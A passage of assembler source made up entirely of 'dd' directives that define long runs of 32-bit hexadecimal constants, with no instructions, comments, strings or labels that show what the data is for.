0D43C9883h, 83F90038h, 2DBE064Fh, 50021E48h, 106F3EDBh dd 1879D3h, 0F3F1C98Eh, 160611Ah, 6D0A8AC0h, 5E400A8h dd 0F4782F3Dh, 73E45F3Fh, 7A2D4CA0h, 71DD404h, 98C0D17Dh dd 24E8FB45h, 413CA8C5h, 0CC59C9C3h, 0C4608F9Fh, 6942E239h dd 0A9370113h, 8A8CC197h, 7CABF44Fh, 7098B4A1h, 10959AA4h dd 1F9614h, 0F5B172D2h, 0A50EBDF8h, 0C22C9895h, 0C6B7EF0h dd 0CB7320A9h, 7A076569h, 5EC39926h, 0B5A03710h, 72180BC2h dd 0C490D30Ch, 0D0BC6066h, 8C84FF69h, 9E98A446h, 6EBD203h dd 0C8A97B1Fh, 1FC57E8Dh, 5FD8247h, 0C0114995h, 7D47D0Ch dd 90952777h, 4AC00EACh, 591C88A5h, 540839h, 0F746E6Fh dd 3C183A3h, 0DAF78668h, 2B82BFD5h, 5600B0D9h, 0D90AF3C0h dd 6CD2030Dh, 0A71E9C9Eh, 0BFDB51B9h, 0DA699269h, 98A27820h dd 0D3C0040h, 7F3B2B9Dh, 6B04A4E9h, 0EA529EBh, 0D5951180h dd 12F4749Eh, 0B0017AFDh, 0B6256F00h, 373820DBh, 106A61h dd 64760ADh, 7EA45AF6h, 2089B800h, 2B2D3A49h, 94C0188Ch dd 0CE55E809h, 0BC950084h, 6B927C5Ch, 3B2CF8EFh, 7B1D9266h dd 0A986EC80h, 0A3CE8D36h, 0A0C7E874h, 0E1B8C0BDh, 0D0CC6AF9h dd 84A44B01h, 633D1496h, 2CE14002h, 5D5812E0h, 0D01C44FEh dd 143EF0C4h, 0A9089780h, 3D6904E4h, 0F4EA270Ah, 0B160CD50h dd 26794C71h, 0E578002Ch, 0FC06392Ah, 0CFA0897Dh, 0F801B9B6h dd 3ED0277Bh, 0F432EC26h, 40BCCE24h, 2DFECAFBh, 0EBD13403h dd 243CA974h, 2604170h, 84C00D6Dh, 7C26E0C1h, 90F82D48h dd 2EBBCh, 0E23F0B3Eh, 1269EE8Dh, 8357983Eh, 0AA7932D8h dd 0F63CC0D5h, 0EC2A54DCh, 0E8E33E73h, 0C921EA00h, 35D0825Ch dd 3600F8F8h, 0B1BF7A57h, 1562899h, 0CB76378Eh, 32AAC594h dd 80BF012Ch, 73396311h, 6DE723FAh, 7E0AC0F0h, 76541D01h dd 15C3FC5Ch, 89C48470h, 8C3D70h, 0B30D1B93h, 357A9Fh dd 543B9A4h, 0C0827F07h, 0CF16FD98h, 0FC0080D5h, 0BBC56A42h dd 77C1C237h, 28C42E6Dh, 0E040DC4Bh, 123F1B41h, 0E10B2E3Bh dd 6B730377h, 75F09BC2h dd 38268362h, 0E368D411h, 1274CF00h, 2484E93Dh, 0FC35C9h dd 5568608Ch, 0D8B89722h, 8E41605h, 0F8C8F450h, 9CC1DC9h dd 42AC1DFFh, 747C0ABAh, 60003471h, 2484AE30h, 713D90C4h dd 980E0B1Dh, 0C8811E82h, 6045589Ch, 0DB5A97BEh, 0E8775447h dd 7ABEE7D0h, 7699295Eh, 0D0D287F4h, 9C801137h, 2FC6DC39h dd 3840454Bh, 0F1363D1h, 0DD9F00C0h, 27785453h, 0EC58D823h dd 816C5CC0h, 6A80A6E6h, 0E72D660h, 923A2CBCh, 0BBD9403Dh dd 8E9AF27Ch, 0BF4B200h, 403C5776h, 0DF1904BFh, 0B239C3AAh dd 0BDA70024h, 0BC962F0Dh, 0BA740192h, 0C7610AD9h, 0B1B2D8EEh dd 5C70D02Ch, 38FCFF40h, 911700BBh, 72376151h, 7CB4691Eh dd 0D010F40h, 401896A0h, 0F6386215h, 6A5C9A00h, 0A0E608E2h dd 0FAED023Ch, 21ACDF03h, 187C7066h, 8F69A00h, 2A0E2F5Ch dd 49E829D1h, 37F780B0h, 53BA7540h, 7002A700h, 0E42A9E57h dd 3C7136h, 0A96D5BFDh, 0EF7F48Fh, 0EC90A826h, 83203664h dd 84E8E0E9h, 0A89C0C02h, 80D92BF0h, 0F45726ECh, 0A9A309FBh dd 0A07167B1h, 9A7F3400h, 2C48B16h, 0ADE3DF56h, 5C661CAAh dd 0F300CBF8h, 0ABCD172h, 3A4FDBD3h, 0C0797AAFh, 49F055C1h dd 5900A032h, 391A53F5h, 3C65CB88h, 0BE01BC37h, 9C54F6EDh dd 47C4301Ch, 0A5F96804h, 26C0E896h, 0E459F4BFh, 0B71784Eh dd 7EDE5CF1h, 0C2509007h, 7CD10C1Ch, 2EE12707h, 9D4D8CE0h dd 0A71A2CBBh, 17E826D0h, 8AE817FDh, 1AE40004h, 7C179AE6h dd 2588008Eh, 0A2D15536h, 4709CCC2h, 84F26A0Eh, 0A4BCBDF0h dd 98D09060h, 0CF0190E7h, 8E9E3673h, 0CC321426h, 71D63209h dd 390E9DD4h, 882DCA0Dh, 0E3826942h, 0BF7DD062h, 0D41D0A98h dd 10DC1Eh, 8A2103FEh, 0F648FB28h, 7F65C3FCh, 0B3B1D049h dd 0A4820F6Bh, 24D7C524h, 0C978E834h, 67005D86h, 1364A2E9h dd 40C0E25Bh, 4B26A4FBh, 7A188810h, 57596A03h, 8F6F4B20h dd 2093EFF2h, 1445EB39h, 62342705h, 0ACC87336h, 4997003Bh dd 0EFD9109Bh, 0EC00CF9Eh, 0C51F9855h, 0A608386Ah, 74F700B0h dd 5EB46387h, 5400518Fh, 0BB9C10A4h, 167AE25h, 0B22B0592h dd 201D63F7h, 472E2350h, 0BF0E283Dh, 0A618EA8h, 0CF00A887h dd 95F70CDBh, 0A72E25DFh, 361BA400h, 0D4828E2h, 10CD8B04h dd 0BAED454h, 9EE775ADh, 0C8E6ECA2h, 8C2EC858h, 1D00F23Ah dd 2E965763h, 4790FCDh, 28A59214h, 2FE82012h, 0E00D6C7h dd 67D2943Fh, 2C271D95h, 12748879h, 7540E26Eh, 0BEC3CA0Fh dd 0E77280A7h, 16CC5Ch, 0C64C64CFh, 5826AA7Fh, 0C459AE62h dd 800C54BCh, 723F8407h, 0B10F8D26h, 29FC784Bh, 5C64CBh dd 8B518A01h, 0B1668569h, 8302CC77h, 0CB3FF4E1h, 0B0DC4688h dd 96F8CEh, 9D481D24h, 6DABD1FFh, 75BD3D0Ah, 1F0B9CA6h dd 6F220079h, 582C6E57h, 0F072E047h, 7D76007Ch, 33489956h dd 5899FD26h, 4F188780h, 754061A9h, 969202ECh, 55DA41EBh dd 5E581F20h, 0BEA9823h, 0D8B5614h, 74C408h, 0C0984D4h dd 58057406h, 4C6D9EF5h, 3DB3F4B4h, 0A5A7CDE3h, 6316BC07h dd 9AE18710h, 0C6A64223h, 5240C856h, 439ED6h, 5710E540h dd 0D4023DA1h, 2705FE00h, 264D58CCh, 82ECBC5Bh, 891CB3F5h dd 0BA00BCF1h, 75152AB4h, 0AEF60499h, 843764DFh, 5E8B3ACh dd 146ED86h, 921EECA0h, 96A0418h, 0A48E9F53h, 0B200C1ECh dd 2F6F3CC6h, 1CE72D0h, 0FFB589C5h, 341E9E16h, 0EC743B44h dd 8C225928h, 603A6145h, 0C473D3ECh, 190D1D3Eh, 0CD19CA36h dd 4C20402Eh, 0F296023Fh, 0C1498603h, 0A0ED25BCh, 0FADA9B03h dd 58AE901Fh, 854E801Dh, 56D0811Ch, 0EC612FB4h, 1C33C1B2h dd 822A4400h, 5FEEFE83h, 0F8959900h, 0E63E1677h, 0DEF2008Eh dd 0F47D6D0Bh, 0C13D2D03h, 64C8CAC5h, 2224276Bh, 710AF061h dd 0F01E3AEBh, 8437A740h, 0F04398h, 0B187DE3Bh, 0DA01473h dd 0E4434E4Ah, 82598C11h, 3CB480A3h, 13CC95F4h, 0A5626C0Eh dd 92B46C3Ch, 52070A0Eh, 0E4E05018h, 0BC952E69h, 0AAE66030h dd 4487B23h, 13A300CCh, 540B4E66h, 0FCA40B3Fh, 7C04C09Fh dd 0FFE8E473h, 90C36E03h, 0A8AB5BFEh, 0F6B272h, 5839ECD1h dd 0EBA97710h, 0AC2D692Ch, 52A69760h, 128B14B3h, 8F2EB6B5h dd 4ED0405Ch, 0F3004DE6h, 129E09B1h, 1548930h, 0A31B0638h dd 3DED4459h, 5CA40070h, 0C1FC3A8Dh, 61210218h, 0EF28FD49h dd 0E58268D9h, 0D2BBC51Ch, 1084C0h, 0A6F7AAF3h, 6D634C58h dd 9CCC534Fh, 85C51084h, 0EE330C5Dh, 46679C2h, 0FE4840C8h dd 250FAAAAh, 3C444434h, 39753FC0h, 18009D24h, 69414A6Dh dd 59C04B70h, 599AB904h, 6127002Ah, 5097A490h, 22E70D34h dd 0C0A85800h, 0F65975D4h, 0C260007Eh, 1016F84Ch, 0AA3BCD13h dd 0D0C84A1Fh, 9C771EB3h, 0D1100080h, 0F46EF815h, 0A70054B8h dd 46909466h, 280D549Bh, 2E64D9A9h, 1F1A4C95h, 90A51668h dd 0E26458D4h, 0E9204D03h, 0E85CE3B4h, 901627A1h, 3BE60134h dd 0A3FDA9F6h, 3023F7h, 0BD82EA8Ch, 131FA726h, 4A6DC503h dd 0C0B817FCh, 0EF6A7FEh, 74385754h, 72366C0Fh, 279880F0h dd 9EDB4F7h, 0C7332D07h, 4ED4C480h, 0C305199Ch, 0DB6AD680h dd 0A98E830h, 0D05F1C5Ch, 8CA60112h, 60560CBEh, 9F120BE1h dd 94F4606Dh, 0B9FB340Eh, 0E210C438h, 95530168h, 9B544D1Bh dd 620F4823h, 0F0E00975h, 2B1964F1h, 7B637407h, 0B08A82C5h dd 0FD4CF63Bh, 29510050h, 37D0DB56h, 0C8BA583Ch, 0C8443817h dd 5200D82Ch, 0A22C1CDEh, 298577Eh, 6A553C88h, 0C872DB5Dh dd 2FC6F50Eh, 1DD8FB5h, 0CF062518h, 265298C7h, 9CE200A4h dd 11700CF6h, 0F448536Eh, 0AE82804Ch, 267E13h, 0C7165EA8h dd 8D84359Dh, 62776D00h, 136AE40Ch, 0A0939D05h, 83F403C4h dd 0ADA8C02Dh, 635001AAh, 87BBF93h, 5524FCA5h, 7E9778C1h dd 0FA8B1DB3h, 0ECA02977h, 74A06128h, 0B910E8h, 577780B8h dd 0AA0FFF79h, 5AEBE4AFh, 0BC442036h, 0A932815Eh, 0D63CC81Dh dd 0D468204h, 0B07A4C6Ch, 7F19B0B4h, 2C392E08h, 0D4E8CD25h dd 4F052F1Bh, 501DA0B8h, 5546D480h, 1C3C5CA1h, 0F304E222h dd 0CE1AC579h, 0B48CC8h, 1719FD7Eh, 0FE1DFA2Ah, 4CE8BB50h dd 1E0D0E18h, 9135F2F8h, 0B8A68070h, 2809DCB0h, 8499E264h dd 2F93A882h, 0C09E2100h, 0E11F737h, 66139056h, 9280302Fh dd 0B301CD98h, 245634ECh, 203BA097h, 0EBA6C18h, 84EBE400h dd 5DBBF0F1h, 0A52C4C54h, 90C88F27h, 52133847h, 0CC1450E5h dd 0E45B248Ch, 46A88500h, 1E5726C8h, 1AC5059Dh, 0FC5CC15Fh dd 0C25AC04Fh, 0CECBAh, 0E41C67C8h, 6A03E255h, 809D9A79h dd 1D5A1689h, 0B75702DEh, 0B37590C7h, 0DBE154A0h, 1000719Bh dd 14FAD2A6h, 2C4A0A82h, 5441398h, 888FB662h, 360244D0h dd 2749F3C5h, 1D0E4EEh, 0FE63A52Eh, 0F0B0241Fh, 950921A9h dd 827A36C9h, 59AE749Fh, 89013F8Ch, 0BF055A9Ch, 5DA441F6h dd 73804094h, 7770CF04h, 5C406AE7h, 799821ACh, 342A00F9h dd 0B8D6075Eh, 2EFDCD37h, 86E32400h, 0A44F0ED3h, 2B086D4h dd 9330C448h, 879AA2Bh, 7035D400h, 1297DFh, 0ECB49DB8h dd 6380FCA5h, 0DA8020EBh, 9DB3C488h, 0C124C11h, 378D015Eh dd 0CB06BE64h, 44006B10h, 4D2B4CF5h, 50E458B5h, 0DBF8B622h dd 0A180E89Eh, 10D7897h, 0B26B4CAEh, 0D9F27D02h, 34D11E45h dd 0E1053F0Fh, 37632003h dd 25D891F2h, 7678E270h, 810B0011h, 0E32451DDh, 0B098A48Fh dd 70814C4Eh, 28324539h, 4623800h, 7ACE9C9Bh, 0E2F6A300h dd 91D47CA8h, 0D9CB01CCh, 0C644DB63h, 5D3442CFh, 25CDF960h dd 8CED800h, 13ED7FB8h, 807B5BE4h, 29F4EBACh, 585D2D0Fh dd 53F5608Ch, 9628E3C6h, 0A484C0B4h, 2195DC1Eh, 7B5E07F0h dd 0A70BE4h, 5F18AD32h, 0BDD8BACEh, 0F248C57Eh, 0C3D00AE0h dd 0B5834878h, 908EEDEEh, 0F51C40Fh, 0E7C0981Ah, 7411DFC0h dd 83974D0Ah, 0C88D5AA4h, 608F64F8h, 71289AEh, 0AC00A0CAh dd 57D6D432h, 0BB6FC7Ah, 3629F978h, 0C0AC7CD9h, 0BA395902h dd 0D608C0B2h, 145F08Dh, 0DD2838B9h, 21A76315h, 0DA92C858h dd 0B378109Dh, 0AC6D0069h, 830CF5F8h, 0AB1E50D9h, 46EF101Ah dd 38D89868h, 32139F69h, 7F64F24Fh, 163CC200h, 1CB74213h dd 859A00CAh, 0E0CED943h, 0F2046D2Ah, 0C40D2889h, 4E3C115Fh dd 8FD29CC0h, 147B0027h, 8EE497B4h, 10130A1Bh, 8022DA67h dd 0C19CE0C8h, 456D2656h, 814B40D0h, 9700BB1Fh, 51895779h dd 0BAD61842h, 207E4BA0h, 0ACF5D374h, 48701401h, 0ED59160Dh dd 0C7CACC70h, 21505721h, 2046E23Dh, 704CC414h, 0DBA18120h dd 68965CDFh, 6C5CA09Eh, 0B3C54012h, 86EA08C8h, 8B5D633Ch dd 871E606h, 0A704BC30h, 2DC31F0Ah, 466B879h, 5CECB059h dd 0CBC0A4BFh, 0BEB8413Eh, 2B9CD007h, 9AB4BDA4h, 7280A0ECh dd 1E2C98A8h, 84FB1700h, 1B3FF4FFh, 455CB010h, 3D5C4CB1h dd 0AD0DE0F9h, 47556801h, 0BED959F9h, 0E88310F1h, 0B55667D2h dd 0C06C3958h, 0AF2B4EFFh, 407E002Ch, 55EB9EDEh, 21C4D30Dh dd 0FC8C16D7h, 2C06001Eh, 11A099C0h, 72173C84h, 4B64C6Dh dd 0BFCE11h, 9FD2EEBBh, 0C31235h, 0A8F549C7h, 1DC10765h dd 14409097h, 7DC80060h, 3C47182Eh, 2758A664h, 0A3020294h dd 5E68CFEFh, 967E40DCh, 9A047F2Ch, 0CB715124h, 6548E640h dd 0B2582A9Ch, 7D970066h, 3EB88536h, 58010076h, 0CF7E71C2h dd 0A001E279h, 850E4A6Ah, 10809EDAh, 13064BECh, 96794930h dd 7BB9EB0Fh, 4CECF411h, 29F2048Eh, 98CC8979h, 1C67C8Dh dd 0F902E650h, 0C8D13B76h, 50B036D6h, 69474808h, 8AA461h dd 3859BF76h, 0F30B7E6Dh, 0D023EB2Bh, 670D0520h, 888E0C52h dd 1D04A710h, 3EE7DCBCh, 53F7E0C0h, 82360075h, 277E76ECh dd 0DB7C15D4h, 0A42D24B8h, 31E460FBh, 17261934h, 207249D6h dd 592F47C0h, 11780ED5h, 0E09F7116h, 0F4A19C04h, 0C1C31027h dd 7FB7CFAh, 20FCA8Bh, 5A6B506Dh, 5807928Ch, 0CD5BE25Ch dd 0D9169ED2h, 0E07700E4h, 76273735h, 9628C800h, 0B2D88D55h dd 7E953B38h, 6F589000h, 0F282A169h, 6D9C5409h, 681653h dd 363FCB70h, 1C593773h, 288FFD02h, 6011B327h, 1C5BFAC4h dd 6CD085h, 0C0A90EAEh, 820EEBD6h, 84FB2519h, 54802BB9h dd 0EE758A8Eh, 3AA50091h, 111D4E88h, 0E8001BC3h, 4D666BD5h dd 6DC872h, 3674C6E9h, 928DE65Ch, 7A551B18h, 3F01EB48h dd 7F6F7AAh, 8D7D4CCEh, 478B405Ah, 78C02281h, 6BF5FBB9h dd 0C1960359h, 0E4253918h, 5B0D8900h, 20C358A0h, 74050084h dd 0D6F777D1h, 376055D2h, 92724941h, 1103607Dh, 0E804F7C6h dd 757A3Fh, 0AC65AF18h, 3A934235h, 0A13E1E76h, 7CC02B01h dd 0D0DBF62Eh, 12065E8Dh, 2C679F8Bh, 33630048h, 0E8CF84A4h dd 3103269Ch, 5925D2B6h, 6A65A0BCh, 1A82004Dh, 0BD84DA1Fh dd 7A0F76CFh, 36B53Dh, 0A9CA1ED8h, 51C9619Ah, 0C05A24ABh dd 920034B2h, 8B0C96ADh, 0A121262Fh, 2DD07EFEh, 5F130E67h dd 395853D6h, 6A05DA04h, 0E32538ADh, 3D368C40h, 0ABB3AE9h dd 3966F51h, 9D7E40B8h, 12036324h, 99A5B164h, 0B49009Fh dd 0F7C5CD54h, 910C71AAh, 51D88367h, 0EB10C072h, 42C67E29h dd 184835F0h, 744C008h, 0E23C7343h, 308EE3Ah, 0AE6A37CDh dd 84887D61h, 1800E0BAh, 2B6FD3A8h, 0CF42694h, 999F89C3h dd 813E2781h, 0D58A87F5h, 0CCFA396Ah, 0BD6FD200h, 504406Bh dd 80B88BCAh, 8CE4471Bh, 0CEEE3058h, 8400EAABh, 471DDDE7h dd 1777B62h, 3DDAF556h, 48045F50h, 5B00F780h, 4A8555C7h dd 621D160h, 0D31B7D18h, 0B9018903h, 80DF934Ch, 20805C2Dh dd 38FA08ACh, 0F1C0DD24h, 0E3CE700Dh, 39E775B0h, 122EC515h dd 9CF90C1Bh, 0AD0AFB49h, 0CC528508h, 47327160h, 6FD70E6Bh dd 0A7207C20h, 9943C88Eh, 2D398360h, 1B30C80h, 16FAF05Ah dd 0D9D732B1h, 87218064h, 0BCB4954h, 75020EC7h, 0C35FB2AFh dd 0FCD5BC1Fh, 0F0F02996h, 1CD18A12h, 9DAB8420h, 24391863h dd 0DEDD91FCh, 6C539B00h, 9894C8F7h, 3EA10061h, 0E9BED5A9h dd 283C7F5Ah, 0E0993E4Bh, 479F5259h, 0AB7113FEh, 9BD006Ch dd 2510DF7Eh, 4D0090A4h, 0C6233C4Eh, 12ADFAD8h, 3145EE0Dh dd 60DB90DCh, 0B7019F62h, 8DA0E90Bh, 0B704296h, 6AF41F85h dd 0B4790EE6h, 599437A0h, 76000ED8h, 7D21A56Bh, 0F847F8B3h dd 0EACB002Fh, 1B3265ADh, 7CE09073h, 687D1C01h, 90475AEh dd 864FFC50h, 6A0A3F48h, 0D5A83B80h, 0CEAEF0F3h, 737DFC7Dh dd 31F4D8A1h, 4588923Eh, 43DCA201h, 0A0502681h, 0BE0304h dd 0A6B0EA6Eh, 30EEDBF5h, 94236300h, 0F2F4A3A2h, 0ABF0C221h dd 94406BE0h, 4B383590h, 19896103h, 0BAF83FC5h, 8FCE042Ah dd 8824BFDDh, 0B100FC10h, 6A233DCCh, 128AB0A1h, 84A1147h dd 689F992Ch, 0E131EA1Bh, 58A8B87Eh, 6C940238h, 0D9AC633Fh dd 0E0356B20h, 11F06024h, 4D28A912h, 0A849FE30h, 71D3F4F3h dd 9D0124D5h, 6FCFC25Ch, 50968481h, 308430E2h, 0E58E748h dd 4408028Dh, 0D8C05197h, 0C0F22490h, 431FCD61h, 33F1A6Ch dd 0DED41E72h, 1DCA4C02h, 80886394h, 14ACAF5Dh, 64AE6322h dd 200E041Dh, 4CBA1603h, 0F0FFFED6h, 284B02EDh, 48471A2h dd 8118ABACh, 0C1B9031Ch, 9DB4D0E5h, 7423005Ch, 0BEE130A0h dd 15030578h, 0CEA2429Eh, 0AAC8016Eh, 8DD63647h, 39E980D7h dd 79F8DAE1h, 0A86A0B25h, 5C00D435h, 7B04735Ah, 8BCB91C6h dd 2EA20464h, 889F7444h, 0B1709E84h, 6B859101h, 3753D310h dd 225606FCh, 0C300F025h, 5188470Ch, 0C0E677D3h, 6AC05E60h dd 4209A792h, 1BECE86h, 0D4E57D14h, 5AC3B440h, 0ECD15404h dd 818F0025h, 0D3F53484h, 5500F40Bh, 4C6FE2F7h, 0C07D0431h dd 9AE5E7A9h, 5502BEC8h, 2DE941C7h, 6D24A04Fh, 3B7E39h dd 65C4577h, 0EFB76371h, 0CC26A9DFh, 173EE0Bh, 8DD5F358h dd 0AF062C23h, 0F9CB989Ch, 0AD1CC4F6h, 2280842Fh, 4BA0E175h dd 502B8E8h, 820FB6E5h, 0BFA02003h, 0ECE19312h, 0E507DCDFh dd 0F8AD1820h, 9AAB4D30h, 7B17547h, 786F1A8Bh, 801F8477h dd 42234348h, 0DFFE8500h, 0C5D72CACh, 0FB100AEh, 3C2FB870h dd 0D56025FCh, 622758C1h, 0C4A700AAh, 119904CCh, 6A747E2Ah dd 63CE5900h, 6B753625h, 12B00391h, 1B13203Ch, 0A90226E3h dd 52930CB2h, 0E076C01Ah, 2C589021h, 47B4A6D6h, 10A33068h dd 0A2179363h, 2820800Fh, 36FE381h, 9D270E8Ch, 19002F7Eh dd 0C0D12BC6h, 451B171h, 8899F59Bh, 5810C00Eh, 8A759864h dd 0A4336B24h, 9C015B1Fh, 83256F3Eh, 0FC3444FAh, 2881F87Fh dd 0CA69D70h, 8759772Eh, 1D76AA88h, 311BDF0Fh, 6ACAA73Ch dd 0DC889AC5h, 0FAC60071h, 6D12987Fh, 0D32EA995h, 0AC43ACE7h dd 0C9A2E0F5h, 0C70E218Dh dd 7BB39480h, 2DB1DE5h, 234CF548h, 2C809B63h, 9A67D4C9h dd 0D611F162h, 27CCCFAh, 4C1EB8AAh, 800F7804h, 3CF737D2h dd 48B47BE5h, 6000733Ah, 0CE116297h, 6C283BCDh, 5E48844Dh dd 4C785888h, 0E60280F4h, 0FA1CCE31h, 1D5B00E2h, 0C68EA3Ch dd 621AC2B5h, 4089EE84h, 1C4FD6FCh, 26D3CDh, 817648A2h dd 7F306F2Ah, 62435104h, 0EEDA06E3h, 701DACA0h, 7EFACD00h dd 0C558B8E4h, 81F00096h, 0B343D621h, 1B48E1AFh, 2498F4Ch dd 9856D19Dh, 5E7F2A4h, 0D42F3321h, 0FD0C4220h, 4BE0E646h dd 90A8A09Ah, 0E30072C2h, 7523C2Dh, 56701Ch, 0BC59224Ch dd 58ED0D02h, 390FAD1Eh, 359672C0h, 0F415477Fh, 8E6C005Eh dd 0B7E07CFDh, 0CF883080h, 0FDA6724Eh, 0FBBB1281h, 30564D77h dd 502E77Ch, 2B356A82h, 0E0D46425h, 0ACFC0023h, 5F0D81A3h dd 0EE1815F9h, 9D21D625h, 0C08D0088h, 9EA858C2h, 37021DADh dd 0C523601Fh, 70FC9125h, 0F61A5FCh, 63E8BF1Eh, 0D503E600h dd 1F58243Ah, 3E41031Ch, 9921D359h, 0A3DCB1F6h, 4DAF805Ah dd 34FF0426h, 0C3541780h, 3ABF189h, 8D429869h, 8007CDEh dd 72B7D6ADh, 0B059F9h, 3B6B74A3h, 9A2B7904h, 0D5009CB9h dd 3EE9C1F6h, 2C11F8C5h, 80CEE5h, 2AA30224h, 98A80580h dd 300F3E3h, 689BC939h, 60047836h, 918C89D2h, 4800D710h dd 0DB796FB5h, 3B44622Eh, 4F0160B2h, 9CBB5923h, 0D69930AAh dd 24AB6B0Ah, 358E8868h, 2E84A062h, 1CF1507h, 22765027h dd 83869861h, 80C61BA9h, 6CF9C8D5h, 0B7B2008Dh, 0AAF040C4h dd 0B6036D4Dh, 1020D2AFh, 0E6D580ADh, 9A3226D1h, 1FC342C0h dd 0BBE9A160h, 932E3900h, 6B9545BCh, 25460E2Ch, 98C0B19Bh dd 0C532DC9Ah, 645C0F24h, 44608B17h, 18F1620h, 28E58668h dd 2093F385h, 0E3AE784h, 290D341Bh, 13B6D4C2h, 0D478F024h dd 8495A701h, 18651C0Ah, 8A29444h, 951E0D00h, 7C8A137Fh dd 0AFDCC900h, 828E2E0Eh, 0D5DE14DBh, 7E2E6802h, 0AE8444B0h dd 5AEE580h, 5E2B00C7h, 1159FF9Bh, 0D8004C34h, 10688B88h dd 12AFC1B5h, 2003E807h, 0A0D4F920h, 10FDDF00h, 217B8724h dd 906C0049h, 0E0F1634Bh, 0A60694FAh, 0A5A96837h, 770330A9h dd 0CE6A8CE9h, 63D0478h, 7E1EF91Ah, 0D18075FFh, 81870E7Bh dd 0A06B03F1h, 29912F52h, 2C5973D2h, 0FFAB7D00h, 658ACCAh dd 2748863Ch, 9F0093BAh, 0DB591A8Eh, 4C67D23Dh, 50C49CA1h dd 7354409Dh, 91F7BF02h, 0FCFE80C4h, 8BB17755h, 5EE6503h dd 9972BE07h, 0D833973Dh, 91319300h, 0BD0DC530h, 0F0F59812h dd 0BC338C20h, 324D0765h, 0BF9F92AAh, 55D18D83h, 7CB9212Eh dd 6F1B2882h, 6EC2875h, 118603EDh, 9426DD01h, 4A306F47h dd 724D34F8h, 0B8DA01A7h, 0D43DBDB5h, 6299D405h, 0B0C059DDh dd 38C62576h, 9A770056h, 79EA075Fh, 0FE00F9ADh, 493A5DC4h dd 1D68C6Eh, 0CE1BBDCBh, 72AF6797h, 4134504Ch, 13C648h dd 83EA9569h, 4EAA28B4h, 0BB5C419Ah, 0DCE2F51Fh, 8F1D71FAh dd 3B0A5E0Dh, 0D460A419h, 1735C27Dh, 8C4FFEh, 5A6B215h dd 84EDECDh, 0D4366800h, 0DE9E9F8Ah, 0A2BA8059h, 0C39BE4F3h dd 0FD30F900h, 0ADAE8D8Bh, 0AC660A0Bh, 494F20Ah, 889AA9F6h dd 8C0089F0h, 76B7D7BAh, 1E5771A5h, 0C10BB9DFh, 5FB53EDDh dd 0C416714Ch, 0DC30B0ACh, 9255F918h, 6B5D0B7Eh, 30048C5Fh dd 0FCAB4037h, 90E703D3h, 429439B4h, 3836AD19h, 1B0C383h dd 98B8D65Fh, 0E8F886FEh, 2F02C0B9h, 0E8C94960h, 7BA9D35Ch dd 20940C67h, 0F9611A81h, 6187EE04h, 40803384h, 13CF52ABh dd 0C8557FB3h, 0EEEEDB78h, 19009D79h, 1D22420Eh, 0FC7383A2h dd 3C215CA7h, 0D618DD22h, 0B539D954h, 6CB124ACh, 678A05C0h dd 0D263C0C9h, 8F3BA3F5h, 0DE24980Fh, 5A0FB39h, 6703DD02h dd 3ACC0D6Fh, 0B0A9D06Ch, 0BE861B18h, 96F108C0h, 0BFE98088h dd 0AEEEB331h, 36431007h, 81959FDFh, 3E58C4C8h, 0A29FA3E6h dd 64448338h, 0B02269C6h, 0AC98DCh, 21098B85h, 0F295AD12h dd 2479913Bh, 0BA40689Ah, 7E5AE4h, 5E503898h, 52CB8D2Fh dd 696025FEh, 36A86B49h, 90A60038h, 0AC3F50BDh, 4F0079EFh dd 0F23C44D7h, 0D637B4h, 95AE7E7Ah, 6B1BD207h, 25B1C8F3h dd 0B1606845h, 0AE9B1DE5h, 2AED0041h, 0CC6F6396h, 0CA0E44B8h dd 80578271h, 70868102h, 0A8014CD6h, 82241B0h, 0C7001AE8h dd 0E1515CDCh, 7C544C04h, 2CA0E03Fh, 608C4AFDh, 0A4C1B420h dd 0D3074C01h, 9771D090h, 1ED41070h, 80BC55ACh, 0D676C7EDh dd 71C0CFA6h, 0B93B7F19h, 27224B49h, 0F3DA60E4h, 0A0011DDh dd 3AFCF1E4h, 47B134h, 20DAFFAh, 0FBD5A28Ch, 78811C94h dd 0BD5680EAh, 4D1DD82Ch, 0C5A5002Fh, 0FB2820C9h, 5003AD24h dd 4FA3013Ah, 1C382459h, 95D9DAD1h, 72CA2AF9h, 0FE0A00F8h dd 8AE0F7DEh, 3302B1D3h, 30ED6CB5h, 0D838437Fh, 0E8E9318h dd 824D3920h, 0ED500092h, 15C655CCh, 0A4EFC93Ah, 0D120F88Ch dd 0D9B8FE35h, 2EABA400h, 300BC9B2h, 35B03913h, 0D60A4773h dd 0C42BB7F5h, 0F2002991h, 9505FA2Fh, 0F89999D3h, 69708C00h dd 6E6733h, 30714B7Bh, 5F62360Ah, 0E49048D3h, 1C9506Bh dd 9ADFAF2h, 205D5285h, 4A189618h, 8B99D404h, 3FB700BFh dd 0E9B085C6h, 0D11EA791h, 502469C8h, 664E6Fh, 9F1CAECAh dd 7B33005Eh, 13719A61h, 0BC090E21h, 0C44C1874h, 93870080h dd 7DE41475h, 0A7097C9Dh, 2FF3A8Fh, 11DCB6F8h, 367C40A6h dd 6800DD88h, 5658EAB8h, 1CAD765Ch, 947EFA0Fh, 281DE406h dd 186066BBh, 5394D890h, 0B695D700h, 0D64EC2F4h, 0BC2CF17Eh dd 44989889h, 8C076385h, 31246B6Ch, 0BA763C70h, 961D05B2h dd 3889FECh, 89B62D1Ch, 2BA7CDB8h, 8A4B4F00h, 49D4CB19h dd 7C6F0031h, 0AE9AB494h, 482E7EBBh, 8A416024h, 9260EF35h dd 0F1E51CD0h, 4688051h, 0A1866FAEh, 900252h, 0F677B209h dd 0B1B72126h, 0DFFE8398h, 0D8E88BD9h, 0E002068h, 30586A7Ah dd 0E9D4BA84h, 2341E8C3h, 58B27D10h, 6F190420h, 0D9D34180h dd 663860F2h, 986C4D00h, 0CFCD781Eh, 2C1D497Dh, 64E1ED00h dd 0B807CB4Bh, 80C9213Dh, 0F5D3D4Fh, 0D33625h, 0C435E3A1h dd 0B0696E5Bh, 94E1416Ah, 71340D60h, 21BE0072h, 12EBD37h dd 0F87BD50Bh, 0AFE78701h, 94CEEAF9h, 0B050DB30h, 0D5CA0878h dd 0FB809C53h, 679D837Fh, 2B99C0B8h, 89DC2FD7h, 7DDD090Ch dd 1E1928h, 0B5A9ED7Ch, 25E46E02h, 62FFFB00h, 169513F2h dd 0D2480033h, 8D7D12A7h, 8DE4A23h, 7F2C90ADh, 0B8909Ch dd 0A70D4E5h, 7E652330h, 8D100E00h, 6EC5CE56h, 977604A4h dd 0F4034CA0h, 0D026BB90h, 7F143E54h, 0B55E0048h, 0B0234F41h dd 0BD8C00ADh, 8D438ED1h, 402177Bh, 1D975947h, 0B427415Eh dd 